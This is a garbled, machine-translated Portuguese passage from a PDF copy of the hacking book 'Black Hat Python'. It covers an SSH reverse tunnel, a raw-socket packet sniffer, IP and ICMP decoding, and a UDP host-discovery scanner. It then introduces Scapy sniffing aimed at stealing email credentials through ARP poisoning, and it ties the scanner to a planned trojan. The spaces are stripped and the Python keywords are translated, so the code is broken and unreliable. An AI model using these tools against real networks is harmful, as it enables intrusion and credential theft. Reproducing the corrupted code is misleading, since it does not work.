data=chan.recv(1024)
iflen(dados)==0:
pausa
sock.send(dados)
chan.close()
sock.close()
detalhado('Tnelfechadoapartirde%r'%(chan.origin_addr,))

E,finalmente,osdadossoenviadoserecebidos.
Vamosdarlheumatentativa.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 24/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Chutarospneus
Vamoscorrerrforward.pydonossosistemaWindowseconfigurloparaserohomemdemeiacomons
trfegodetneldeumservidorwebparaonossoservidorKaliSSH.
C:\tmp\demos>rforward.py192.168.100.133p8080r192.168.100.128:80
userjustinpassword
DigiteasenhaSSH:
Conectandoseaoacolhimentossh192.168.100.133:22...
C:\python27\lib\sitepackages\paramiko\client.py:517:UserWarning:Desconhecido
sshr
chavedoanfitriosapara192.168.100.133:cb28bb4e3ec68e2af4847a427f08aa8b
(Key.get_name(),hostname,hexlify(key.get_fingerprint())))
Agoraencaminhamentoportaremota8080para192.168.100.128:80...

VocpodeverquenamquinaWindows,eufizumaconexocomoservidorSSHem192.168.100.133
eabriuaporta8080noservidor,queirencaminharotrfegoparaaporta192.168.100.12880.Entoagora
seeunavegarparahttp://127.0.0.1:8080nomeuservidorLinux,euconectaraoservidorwebem
192.168.100.128atravsdotnelSSH,comomostradonaFigura24.

Figura24.exemplotnelSSHreverso

SevocvirarparatrsparaamquinaWindows,voctambmpodeveraconexoqueestsendofeitoemparamiko:
Conectado!Tnelaberto(u'127.0.0.1',54537)>('192.168.100.133',22)>
('192.168.100.128',80)

SSHetneisSSHsoimportantesparacompreendereutilizar.SaberquandoecomoSSHe
tnelSSHumahabilidadeimportanteparachapuspretoseparamikotornapossveladicionarSSH
capacidadesparasuasferramentasdePythonexistentes.
Nscriamosalgumasferramentasmuitosimples,masmuitoteisnestecaptulo.Encorajovosaexpandire
modificar,senecessrio.OobjetivoprincipaldesenvolverumfirmeapertodeusarPythonredeparacriar
ferramentasquepodemserutilizadasduranteostestesdepenetrao,psexplorao,ouenquantobugcaa.Vamoscontinuar
ausarsoquetesbrutoserealizandoredesniffing,edepoisvamoscombinarosdoisparacriarumapura
acolhimentoPythonscannerdedescoberta.

[5] Adocumentaotomadacompletapodeserencontradaaqui:http://docs.python.org/2/library/socket.html.

[6] EstadiscussoexpandesenotrabalhoporHussamKhrais,quepodeserencontradonohttp://resources.infosecinstitute.com/.

Captulo3.ARede:RawSocketse
sniffing
sniffersderedepermitemquevocvejaospacotesentrandoesaindodeumamquinadedestino.Comoresultado,elestm
muitosusosprticosantesedepoisdaexplorao.Emalgunscasos,vocvaisercapazdeusarWireshark
(Http://wireshark.org/)paramonitorarotrfego,ouusarumasoluoPythoniccomoscapy(quevamosexplorar
noprximocaptulo).Noentanto,humavantagemparasabercomojogarjuntosumarpida
snifferparaveretrfegoderedededecodificao.Escrevendoumaferramentacomoestatambmlhedarumprofundo
apreciaoparaasferramentasmadurasquepodemindolorcuidardospontosmaisdelicadoscompoucoesforode
suaparte.VoctambmprovavelmentevaipegaralgumasnovastcnicasdePythone,talvez,umamelhor
compreensodecomoosbitsderededebaixonveltrabalhar.
Nocaptuloanterior,nscobrimoscomoenviarereceberdadosusandoTCPeUDP,e,possivelmente,
istocomovocirinteragircomamaioriadosserviosderede.Masporbaixodestesprotocolosdenvelsuperior
soosblocosfundamentaisdecomoospacotesderedesoenviadoserecebidos.Vocvaiusarcru
soquetesparaacessarinformaesderededenvelinferior,comooIPcruecabealhosICMP.Nanossa
caso,estamosinteressadosapenasnacamadaIPesuperior,demodoquenoirdecodificarqualquerinformaoEthernet.

Claro,sevocpretenderealizarquaisquerataquesdebaixonvel,taiscomoenvenenamentoARPouvoc
desenvolvimentodeferramentasdeavaliaosemfio,vocprecisaparatornarseintimamentefamiliarizadocomquadrosEthernet
easuautilizao.
Vamoscomearcomumabreveexplicaopassoapassodecomodescobrirhostsativosemumsegmentoderede.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 25/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

AconstruodeumaUDPAnfitrioDiscoveryTool
OprincipalobjetivodanossasnifferarealizaodedescobertadehostsbaseadosemUDPemumaredealvo.atacantes
quersercapazdevertodososalvospotenciaisemumaredeparaqueelespossamconcentrarsua
reconhecimentoeexploraotentativas.
UsaremosumcomportamentoconhecidodamaioriadossistemasoperacionaisaomanusearasportasUDPfechadasparadeterminar
SehouverumhospedeiroactivoaumendereodeIPespecfico.QuandovocenviaumdatagramaUDPparaumaportafechada
emumhost,quehospedamnormalmenteenviadevoltaumamensagemdeICMPindicandoqueaportaestinacessvel.este
ICMPmensagemindicaquehumasrievivoporquensassumimosquenohaviaanfitriose
noreceberumarespostaparaodatagramaUDP.essencialquensescolhemosumaportaUDPquenovai
provavelmenteserusado,eparaacoberturamximoquepodemossondarvriasportasparagarantirquenoestoatingindoum
UDPservioativo.
PorUDP?Nohnenhumasobrecargaempulverizaramensagematravsdeumasubredeinteiraeesperandoo
respostasICMPchegaremconformidade.Istobastanteumscannersimplesdeconstruircomamaiorpartedotrabalho
indoparadescodificaoeanalisandoasvriascabealhosdeprotocoloderede.Vamosimplementarestealojamento
scannerparaWindowseLinuxparamaximizaraprobabilidadedesercapazdeuslodentrodeum
ambienteempresarial.
PoderamostambmconstruirlgicaadicionalemnossoscannerparalanaranlisescompletasdeportasdoNmapemquaisqueranfitriesque
descobrirparadeterminarseelestmumasuperfciedeataquederedevivel.Estessoexercciosdeixadosparao
leitor,eeuansiososparaouviralgumasdasmaneirascriativasquevocpodeexpandiresteconceitocentral.
Vamoscomear.

PacketsniffingemWindowseLinux
AcessandosoquetesbrutosnoWindowsumpoucodiferentedoquenosseusirmosLinux,masqueremos
temaflexibilidadeparaimplantaromesmosnifferparamltiplasplataformas.Vamoscriaronossoobjetodesoquete
eentodeterminarqualplataformansestamosexecutando.Janelasnosobrigaadefiniralgumasadicional
bandeirasatravsdeumcontroledeentradatomada/sada(IOCTL),[7]quepermitemodopromscuona
interfacederede.Emnossoprimeiroexemplo,nssimplesmentemontaronossosniffersocketraw,lidoemumanica
pacote,edepoissair.
tomadadeimportao
importos

#Acolhimentoparaescutar
host="192.168.0.196"

#Criarumsocketrawevincullointerfacepblica
Seos.name=="NT":
socket_protocol=socket.IPPROTO_IP

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 26/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
outro:
socket_protocol=socket.IPPROTO_ICMP

sniffer=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket_protocol)

sniffer.bind((host,0))

#QueremosqueoscabealhosIPincludosnacaptura
sniffer.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)

#SeestiverusandooWindows,precisoenviarumIOCTL
#Paraconfiguraromodopromscuo
seos.name=="nt":
sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_ON)

#Lidasdeumnicopacote
impressosniffer.recvfrom(65565)

#SeestiverusandooWindows,desligueomodopromscuo
seos.name=="nt":
sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_OFF)

Comeamosporconstruironossoobjetodesoquetecomosparmetrosnecessriosparafarejarpacotesemnosso
interfacederede.AdiferenaentreWindowseLinuxqueoWindowsirpermitirnos
cheirartodosospacotesdeentradaindependentementedoprotocolo,enquantooLinuxnosobrigaaespecificardequesomos
sniffingICMP.Notequeestamosusandoomodopromscuo,querequerprivilgiosadministrativosno
WindowsouraiznoLinux.modopromscuonospermitecapturartodosospacotesqueaplacaderede
v,mesmoaquelesquenosedestinamparaoseuhostespecfico.Emseguidansdefinirumaopodesoquetequeincluio
CabealhosIPemnossospacotescapturados.OprximopassodeterminarseestamosusandooWindows,ese
assim,realizaropassoadicionaldeenviarumIOCTLparaocontroladordaplacaderedeparapermitir
modopromscuo.SevocestiverexecutandooWindowsemumamquinavirtual,vocprovavelmentevaireceberumanotificao
queosistemaoperacionalconvidadoestpermitindoqueomodopromscuovoc,claro,vaipermitirisso.Agorans
estprontopararealmenteexecutaralgumasniffing,enestecasoestamossimplesmenteimprimirtodaamatria
pacotecomnenhumadescodificaodopacote.Esteapenasparatestarparasecertificardequetemosoncleodonossosniffing
cdigodetrabalho.Apsumnicopacoteinalado,nsnovamenteotesteparaWindows,edesativarpromscuo
Modoantesdesairdoscript.

Chutarospneus
Abraumnovoterminaloucmd.exeshellnoWindowseexecuteoseguinte:
sniffer.pypython

Emoutrajaneladeterminaloushell,vocpodesimplesmenteescolherumhostparaping.Aqui,vamosexecutarping
nostarch.com:
depingnostarch.com

Emsuaprimeirajanelaondevocexecutouoseusniffer,vocdeveveralgumasadailegvelqueintimamente
seassemelhaaseguinte:
('E\x00\x00:\x0f\x98\x00\x00\x80\x11\xA9\X0e\xc0\xa8\x00\xbb\xc0\xa8\x0
0\x01\x04\x01\X005\x00e\xd6d\n\xde\x01\x00\x00\x01\x00\x00\x00\x00\x00\
x00\x08nostarch\x03com\x00\x00\x01\x00\x01',('192.168.0.187',0))

VocpodeverquetemoscapturadoopedidoinicialdepingICMPdestinadosanostarch.com(combaseem
aaparnciadacadeianostarch.com).SevocestiverexecutandoesteexemplonoLinux,entovocfaria
receberarespostadonostarch.com.Sniffingumpacotenomuitotil,porissovamosadicionarumpoucode
funcionalidadeparaprocessarmaispacotesedecodificarseucontedo.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 27/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

DecodificandoacamadaIP
Nasuaformaatual,anossasnifferrecebetodososcabealhosIP,juntamentecomtodososprotocolossuperiores,como
TCP,UDP,ouICMP.Ainformaoembaladoemformabinria,ecomomostradoacima,bastante
difcildeentender.AgoravamostrabalharnadecodificaodaparteIPdeumpacotedemodoquens
podepuxarinformaotil,comootipodeprotocolo(TCP,UDP,ICMP),edafontee
endereosIPdedestino.Estaserabaseparavoccomearacriaraindamaisaanlisedeprotocolo
maistarde.
Seexaminarmosoqueumpacoterealparecenarede,vocterumacompreensode
comoprecisamosdecodificarospacotesdeentrada.ConsulteaFigura31paraacomposiodeumcabealhoIP.

Figura31.estruturadecabealhoIPv4tpica

VamosdecodificartodoocabealhoIP(excetoocampoOpes)eextrairotipodeprotocolo,fonte,
eendereoIPdedestino.UsandooPythonctypesmduloparacriarumaestruturadeClikevaipermitirnos
terumformatoamigvelparalidarcomocabealhoIPeseuscamposdemembro.Primeiro,vamosdarumaolhada
adefinioCdoqueumcabealhoIPparece.
ipstruct{
u_charip_hl:4
u_charip_v:4
IP_TOSu_char
u_shortip_len
u_shortip_id
u_shortip_off
IP_TTLu_char
u_charip_p
u_shortip_sum
u_longip_src
u_longip_dst
}

AgoravoctemumaidiadecomomapearostiposdedadosCparaosvaloresdecabealhoIP.UsandoocdigoCcomoum
refernciaaotraduzirparaPythonobjetospodesertilporquetornafcilparaconverter
losparaPythonpuro.Denota,oip_hleip_vcampostmumanotaobitadicionadoaeles(o:4
parte).Istoindicaqueestessocamposdebits,eso4bitsdelargura.UsaremosumPythonpuro
soluoparagarantirqueestescamposmapearcorretamenteparaquepossamosevitarterquefazerqualquermanipulaodebits.
VamosimplementaranossarotinadedecodificaoIPemsniffer_ip_header_decode.pycomomostradoabaixo.
tomadadeimportao

importos
structimportao
dectypesimportao*
#Acolhimentoparaescutar
host="192.168.0.187"

#NossocabealhoIP
classeIP(Estrutura):
_fields_=[
("DIH", c_ubyte,4),
("verso", c_ubyte,4),
("Tos", c_ubyte),
("Len", c_ushort),
("Id", c_ushort),
("Offset", c_ushort),
("TTL", c_ubyte),
("Protocol_num",c_ubyte),
("soma", c_ushort),
("Src", c_ulong),
("DST", c_ulong)
]

def__new__(self,socket_buffer=None):
self.from_buffer_copyretorno(socket_buffer)

def__init__(self,socket_buffer=None):

#constantesmapaprotocoloparaseusnomes
self.protocol_map={1:"ICMP",6:"TCP",17:"UDP"}


#endereosIPlegveis
self.src_address=socket.inet_ntoa(struct.pack("<L",self.src))
self.dst_address=socket.inet_ntoa(struct.pack("<L",self.dst))

#Protocololegvel
experimentar:
self.protocol=self.protocol_map[self.protocol_num]
exceto:
self.protocol=str(self.protocol_num)

#Istodeveparecerfamiliarapartirdoexemploanterior
Seos.name=="NT":
socket_protocol=socket.IPPROTO_IP
outro:
socket_protocol=socket.IPPROTO_ICMP

sniffer=socket.socket(socket.AF_INET,socket.SOCK_RAW,socket_protocol)

sniffer.bind((host,0))
sniffer.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 28/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
Seos.name=="NT":
sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_ON)
experimentar:

whileTrue:

#Lidoemumpacote
raw_buffer=sniffer.recvfrom(65565)[0]

#CriarumcabealhoIPapartirdosprimeiros20bytesdotampo
ip_header=IP(raw_buffer[00:20])

#Imprimiroprotocoloquefoidetectadaeosanfitries
print"Protocolo:%s%s>%s"%(ip_header.protocol,ip_header.src_
endereo,ip_header.dst_address)

#LidarcomCTRLC
excetoKeyboardInterrupt:

#SeestiverusandooWindows,desligueomodopromscuo
Seos.name=="NT":
sniffer.ioctl(socket.SIO_RCVALL,socket.RCVALL_OFF)

OprimeiropassoadefiniodeumPythonctypesestruturaqueirmapearosprimeiros20bytesdorecebido
tampoemumcabealhoIPamigvel.Comovocpodever,todososcamposqueforamidentificadoseoanterior
EstruturaCigualarsebem.O__new__mtododoIPclassesimplesmentelevaemumbufferembruto(neste
caso,oquerecebemosnarede)eformaaestruturadamesma.Quandooinitmtodo
chamado,__new__jestconcludooprocessamentodobuffer.Dentro__init__,estamossimplesmentefazendo
algumastarefasdomsticasparadaralgumasadalegvelparaoprotocoloemusoeosendereosIP
.
ComonossorecmformadoIPestrutura,nsagoracolocarnalgicadelercontinuamenteempacoteseanalisar
asuainformao.Oprimeiropassolernopacoteedepoispassarosprimeiros20bytespara
inicializaronossoIPestrutura.Emseguida,nssimplesmenteimprimirasinformaesquetemoscapturado.Vamos
Experimente.

Chutarospneus
Vamostestaronossocdigoanteriorparaverquetipodeinformaoqueestamosextraindoamatria
pacotesenviados.EudefinitivamenterecomendoquevocfaaissodetestedasuamquinaWindows,comovoc
sercapazdeverTCP,UDPeICMP,quelhepermitefazeralgunstestesbastantepuro(abrirum
navegador,porexemplo).SevocestconfinadoparaoLinux,emseguida,executarotestedepinganteriorparavloem
aao.
Abraumterminaledigite:
sniffer_ip_header_decode.pypython

Agora,porqueoWindowsmuitofalador,provvelquevocverumasadaimediatamente.Eutesteiessescript
abrindooInternetExplorereindoparawww.google.com,eaquiasadadonossoscript:
Protocolo:UDP192.168.0.190>192.168.0.1
Protocolo:UDP192.168.0.1>192.168.0.190
Protocolo:UDP192.168.0.190>192.168.0.187
Protocolo:TCP192.168.0.187>74.125.225.183
Protocolo:TCP192.168.0.187>74.125.225.183
Protocolo:TCP74.125.225.183>192.168.0.187
Protocolo:TCP192.168.0.187>74.125.225.183

Porquensnoestamosfazendoqualquerinspeoprofundasobreestespacotes,spodemosadivinharoqueestefluxo
indicando.MeupalpitequeoprimeiropardepacotesUDPsoasconsultasDNSparadeterminaronde

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 29/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
google.comvive,eossubsequentesTCPsessessominhamquinarealmenteconectare
downloaddecontedodeseuservidorweb.
PararealizaromesmotestenoLinux,quepodeexecutarpinggoogle.com,eosresultadosseralgoparecido
esta:
Protocolo:ICMP74.125.226.78>192.168.0.190
Protocolo:ICMP74.125.226.78>192.168.0.190
Protocolo:ICMP74.125.226.78>192.168.0.190

Vocjpodeveralimitao:estamosvendoapenasarespostaeapenasparaoprotocoloICMP.
Masporqueestamospropositadamenteconstruodeumscannerdedescobertadehosts,issocompletamenteaceitvel.Ns
vaiagoraaplicarasmesmastcnicasqueusamosparadecodificarocabealhoIPparadecodificarasmensagensICMP.

decodificaoICMP
AgoraquepodemosdecodificartotalmenteacamadaIPdequalquercheiroupacotes,temosquesercapazesdedecodificaro
respostasICMPqueonossoscannerirextrairdeenviodedatagramasUDPparaportasfechadas.ICMP
mensagenspodemvariarmuitoemseucontedo,mascadamensagemcontmtrselementosquepermanecem
consistente:oscamposdetipo,cdigoesomadeverificao.Oscampostipoeocdigocontarareceberacolhimentoque
tipodemensagemICMPestchegando,queentodeterminacomodecodificarcorretamente.
Paraopropsitodonossoscanner,estamosprocuradeumvalordetipode3eumvalordecdigode3.Esta
correspondeaodestinoinacessvelclassedemensagensICMP,eovalordocdigode3
indicaqueoportoinacessvelerrofoicausado.ConsulteaFigura32paraobterumdiagramadeum
DestinoinacessvelICMPmensagem.

Figura32.DiagramadoDestinoinacessvel mensagemICMP

Comovocpodever,osprimeiros8bitssootipoeosegundo8bitscontmonossocdigoICMP.Um
coisainteressanteasenotarque,quandoumhostenviaumadessasmensagensICMP,elerealmenteincluio
cabealhodeIPdamensagemoriginalquegerouaresposta.Nstambmpodemosverquevamosdouble
verificarcontra8bytesdodatagramaoriginalquefoienviado,afimdecertificarsedenossoscanner
geradoarespostaICMP.Parafazerisso,nssimplesmentecortarforaosltimos8bytesdobufferrecebidopara
puxeacordamgicaquenossoscannerenvia.
Vamosadicionarmaisalgumcdigoparaonossosnifferanterior,incluindoacapacidadededecodificarospacotesICMP.Vamos
salvaronossoarquivoanteriorcomosniffer_with_icmp.pyeadicioneoseguintecdigo:
snip
IPclass(Estrutura):
Snip

classeICMP(Estrutura):

_fields_=[
("digitar", c_ubyte),
("cdigo", c_ubyte),
("Somadeverificao",
c_ushort),
("Noutilizado",c_ushort),
("Next_hop_mtu",c_ushort)
]
def__new__(self,socket_buffer):
self.from_buffer_copyretorno(socket_buffer)

def__init__(self,socket_buffer):
passar

Snip

print"Protocolo:%s%s>%s"%(ip_header.protocol,ip_header.src_
endereo,ip_header.dst_address)

#SeICMP,queremosqueele


seip_header.protocol=="ICMP":

#calcularondeosnossospacotescomeaICMP
offset=ip_header.ihl*4
buf=raw_buffer[offset:offset+sizeof(ICMP)]

#CriarnossaestruturaICMP
icmp_header=ICMP(buf)

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 30/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

imprimir"ICMP>Tipo:%dCdigo:%d"%(icmp_header.type,icmp_header.
cdigo)

EstesimplespedaodecdigocriaumICMPestruturaembaixodonossoactualIPestrutura.Quandoo
loopprincipaldopacotederecepodeterminaquetemosrecebidoumpacoteICMP,calculamoso
compensados nopacotecruondeocorpoICMPvivee,emseguida,criaronossotampoeimprimira

Tipoedecdigodecampos.OcomprimentoclculobaseadosobreoIPcabealhoDIHcampo,oqualindicao
nmerodepalavrasde32bits(blocosde4bytes)contidosnocabealhoIP.Assim,multiplicandoestecampopor4,
sabemosqueotamanhodocabealhodeIPe,assim,quandoacamadaderedeprximaICMPnestecaso
comea.
Sensrapidamenteexecutarestecdigocomonossotestedepingnormal,anossaproduodeveagoraserligeiramentediferentes,como
mostradoabaixo:
Protocolo:ICMP74.125.226.78>192.168.0.190
ICMP>Tipo:0Cdigo:0

Issoindicaqueoping(ICMPEcho)respostasestoasercorrectamenterecebidaedescodificada.Nsestamos
agoraprontoparaimplementaroltimopedaodelgicaparaenviarosdatagramasUDPeinterpretarasua
resultados.
Agoravamosadicionarousodonetaddrmduloparaquepossamoscobrirumasubredeinteiracomonossoanfitrio
verificaodedescoberta.Salveoseusniffer_with_icmp.pyscriptcomoscanner.pyeadicioneoseguintecdigo:
rosqueamentodeimportao
tempodeimportao
deimportaonetaddrIPNetwork,IPAddress
Snip

#Acolhimentoparaescutar
host="192.168.0.187"

#Subredeparaalvejar
subrede="192.168.0.0/24"

#CordamgicavamosverificarrespostasICMPpara
magic_message="PYTHONRULES!"

#IstopulverizaosdatagramasUDP
defudp_sender(subrede,magic_message):
time.sleep(5)
remetente=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)

paraipemIPNetwork(subrede):
experimentar:
sender.sendto(magic_message,("%s"%ip,65212))
exceto:
passar

Snip

#Iniciaroenviodepacotes
t=threading.Thread(target=udp_sender,args=(subrede,magic_message))
t.start()

Snip
experimentar:
whileTrue:
Snip
#print"ICMP>Tipo:%dCdigo:%d"%(icmp_header.type,icmp_header.
cdigo)

#Agoradeseleodotipo3eCODE
seicmp_header.code==3eicmp_header.type==3:

#Certificarsedeanfitrioestnanossasubredededestino
seIPAddress(ip_header.src_address)emIPNetwork(subrede):

#Verifiqueseeletemanossamensagemmgica
seraw_buffer[len(raw_buffer)len(magic_message):]==
magic_message:
imprimir"HostUp:%s"%ip_header.src_address

Esteltimotrechodecdigodeveserbastantesimplesdeentender.Nsdefinimosumasimplesstring
assinaturaparaquepossamostestarseasrespostasestovindodepacotesUDPqueenviamos
originalmente.Nossaudp_senderfunosimplesmentelevaemumasubredequeespecificarnotopodanossa
roteiro,percorretodososendereosIPemqueasubrede,edisparadatagramasUDPparaeles.Noprincipal
corpodonossoscript,poucoantesdociclodepacotesdedecodificaoprincipal,quegeramudp_senderemseparado
fioparagarantirquenoestamosinterferindocomanossacapacidadedefarejarrespostas.Sedetectara
antecipadomensagemICMP,primeirocertifiquesedequearespostaICMPestvindodedentro
asubredededestino.Emseguida,executaranossaverificaofinaldecertificarsedequearespostaICMPtemonosso
cordamgicanele.Setodasessasverificaespassar,nsimprimiroendereoIPdeorigemdeondeoICMP
mensagemoriginada.Vamostestlo.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 31/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Chutarospneus
Agoravamosdaronossoscannereexecutlocontraaredelocal.VocpodeusarLinuxouWindowspara
istocomooresultadoseromesmo.Nomeucaso,oendereoIPdamquinalocalqueeuestavaera
192.168.0.187,entoeudefiniromeuleitorparabater192.168.0.0/24.Seasadamuitobarulhentoquandovocexecutar
oscanner,bastacomentartodasasinstruesdeimpresso,excetoparaoltimoquelhedizoquehospeda
estorespondendo.

THEnetaddrMODule
Nossoscannerestindoparausarumabibliotecadeterceiroschamadonetaddr,queirpermitirnosparaalimentaremumamscaradesubrede,como192.168.0.0/24
etemosonossoscannerdemanipulloadequadamente.Faadownloaddabibliotecaapartirdaqui:http://code.google.com/p/netaddr/downloads/list
Ou,sevocinstalouopacotedeferramentasdeconfiguraoPythonnoCaptulo1,vocpodesimplesmenteexecutaroseguinteemumpromptdecomando:
easy_installnetaddr

Onetaddrmdulotornamuitofciltrabalharcomsubredeseendereamento.Porexemplo,vocpodeexecutartestessimples,comoo
aseguirusandooIPNetworkobjeto:
ip_address="192.168.112.3"

seip_addressemIPNetwork("192.168.112.0/24"):
imprimirVerdadeiro

Ouvocpodecriariteradoressimplessevocquiserenviarpacotesparaumaredeinteira:
paraipemIPNetwork("192.168.112.1/24"):
s=socket.socket()
s.connect((ip,25))
#Enviarpacotesdecorreio
Issovaisimplificarmuitoasuavidadeprogramaoquandosetrataderedesinteirasdecadavez,eidealparaonossoanfitrio
ferramentadedescoberta.Depoisdeinstalado,vocestprontoparaprosseguir.

c:\python27\python.exescanner.py
HospedarUp:192.168.0.1
HospedarUp:192.168.0.190
HospedarUp:192.168.0.192
HospedarUp:192.168.0.195

Paraumaverificaorpidacomoaqueeurealizado,levouapenasalgunssegundosparaobterosresultadosdevolta.porcruzada
referenciandoessesendereosIPcomoquadrodeDHCPnomeuroteadoremcasa,eueracapazdeverificarseo
resultadosforamprecisos.VocpodefacilmenteexpandiroquevocaprendeunestecaptuloparadecodificarTCPe
pacotesUDP,econstruirferramentasadicionaisemtornodele.Estescannertambmtilparaotrojan
quadro,vamoscomearaconstruirnoCaptulo7.Issopermitiriaqueumtrojanimplantadoparafazeravarreduradolocal,
redeprocuradealvosadicionais.Agoraquetemosobsicodecomoasredestrabalharem
umaltoebaixonvel,vamosexplorarumabibliotecaPythonmuitomadurochamadoscapy.

[7] Umaentrada/sadadecontrolo(Ioctl)ummeiodeprogramasdeespaodeusurioparacomunicarcomcomponentesdemodokernel.Terumaleitura
aqui:http://en.wikipedia.org/wiki/Ioctl.

Captulo4.Possuiraredecomscapy
Ocasionalmente,voctoparcomumtalbempensada,incrvelbibliotecaPythonquededicarumtodo
captuloparaelenopodefazerjustia.PhilippeBiondicriouumabibliotecanamanipulaodepacotes
Scapybiblioteca.Vocspodeterminarestecaptuloeperceberqueeufizvocfazerummontedetrabalhono
anterioresdoiscaptulosquevocpoderiaterfeitocomapenasumaouduaslinhasdescapy.scapy
poderosoeflexvel,easpossibilidadessoquaseinfinitas.Vamoscomearumgostodascoisasporcheirar
pararoubarcredenciaisdeemaildetextosimplese,emseguida,ARPenvenenamentoumamquinadedestinoemnossarededemodoaque
podemoscheirarseutrfego.Nsvamosembrulharascoisas,demonstrandocomooprocessamentoPCAPdescapypode
serestendidoparaesculpirimagensdotrfegoHTTPe,emseguida,realizaradetecofacialcomelespara
determinarsehhumanospresentesnasimagens.
EurecomendoquevocusescapysobumsistemaLinux,comoelefoiprojetadoparatrabalharcomLinuxemmente.
AversomaisrecentedoscapysuportaoWindows,[8]masparaefeitosdopresentecaptulo,
suporquevocestusandoseuKaliVMquetemumainstalaoscapyemplenofuncionamento.Sevocnotem
Scapy,sobreacabeaemhttp://www.secdev.org/projects/scapy/~~Vparainstallo.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray 32/114
17/02/2016 C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Roubodecredenciaisdeemail
JpassoualgumtempodeentraremporcaseparafusosdesniffingemPython.Ento,vamoscomeara
sabeainterfacedoscapyparafarejarpacotesedissecandoseucontedo.Nsvamosconstruirummuito
simplessnifferparacapturarcredenciaisdeSMTP,POP3eIMAP.Maistarde,poracoplamentodetuboaspiradorcomanossa
AddressResolutionProtocolenvenenamento(ARP)maninthemiddle(MITM)ataque,podemosfacilmenteroubar
credenciaisdeoutrasmquinasnarede.Estatcnicapode,naturalmente,seraplicadaaqualquer
protocoloouachuparsimplesmenteemtodootrfegoearmazenloemumarquivoPCAPparaanlise,quetambmir
demonstrar.
Paraterumaidiadescapy,vamoscomearpelaconstruodeumsnifferesqueletoquesimplesmentedissecaedespejaa
pacotesfora.Oapropriadamentechamadocheirarfunosemelhanteaoseguinte:
fungada(filtro="",iface="qualquer",prn=function,count=N)

OfiltrodeparmetronospermiteespecificarumBPF(Wiresharkstyle)filtrarospacotesquescapy
cheira,oquepodeserdeixadoembrancoparafarejartodosospacotes.Porexemplo,parafarejartodosospacotesHTTPvocteria
usarumfiltroBPFdetcpporta80.Oifaceparmetroinformaosnifferqualainterfacederedepara
farejarnoSedeixadoembranco,scapyvaifarejaremtodasasinterfaces.OPRNparmetroespecificaumcallback
funoaserchamadaparacadapacotequecombinecomofiltro,eafunoderetornorecebeo
objetodepacotecomoseunicoparmetro.Acontagemdeparmetroespecificaquantospacotesvocquer
farejarSedeixadoembranco,scapyvaifarejarindefinidamente.
Vamoscomearcriandoumsniffersimplesquecheiraumpacoteedespejaseucontedo.Vamosentoexpandilo
apenasfarejarcomandosdeemailrelacionado.Crackabrirmail_sniffer.pyeencravaroseguintecdigo:
descapy.allimport*

#Nossacallbackpacote
defpacket_callback(pacote):
packet.showprint()

#Fogoatonossosniffer
fungada(PRN=packet_callback,count=1)

Comeamospordefiniranossafunoderetornodechamadaquereceberocadacheiroupacoteedepoissimplesmentedizer
Scapyparacomearacheiraremtodasasinterfacessemfiltragem.Agoravamosexecutaroscriptevocdeve
verumasadasemelhanteaoquevocvabaixo.
$Python2.7mail_sniffer.py
AVISO:NenhumarotaencontradaparaodestinoIPv6::(semrotapadro?)
###[Ethernet]###
DST =10:40:F3:AB:71:02
src =00:18:e7:ff:5c:f8
digitar =0x800
###[IP]###
verso =4L
DIH =5L
tos =0x0
len =52
identidade =35232
bandeiras =DF
frag =0D
ttl =51
proto =tcp
chksum =0x4a51
src =195.91.239.8
DST =192.168.0.198
\opes \
###[TCP]###

esporte =etlservicemgr
dport =54000
seq =4154787032
ack =2619128538
dataofs =8L
reservados=0D
bandeiras Um=
janela =330
chksum =0x80a2
urgptr =0
opes =[('NOP',None),('NOP',None),('Timestamp',(1960913461,
764897985))]
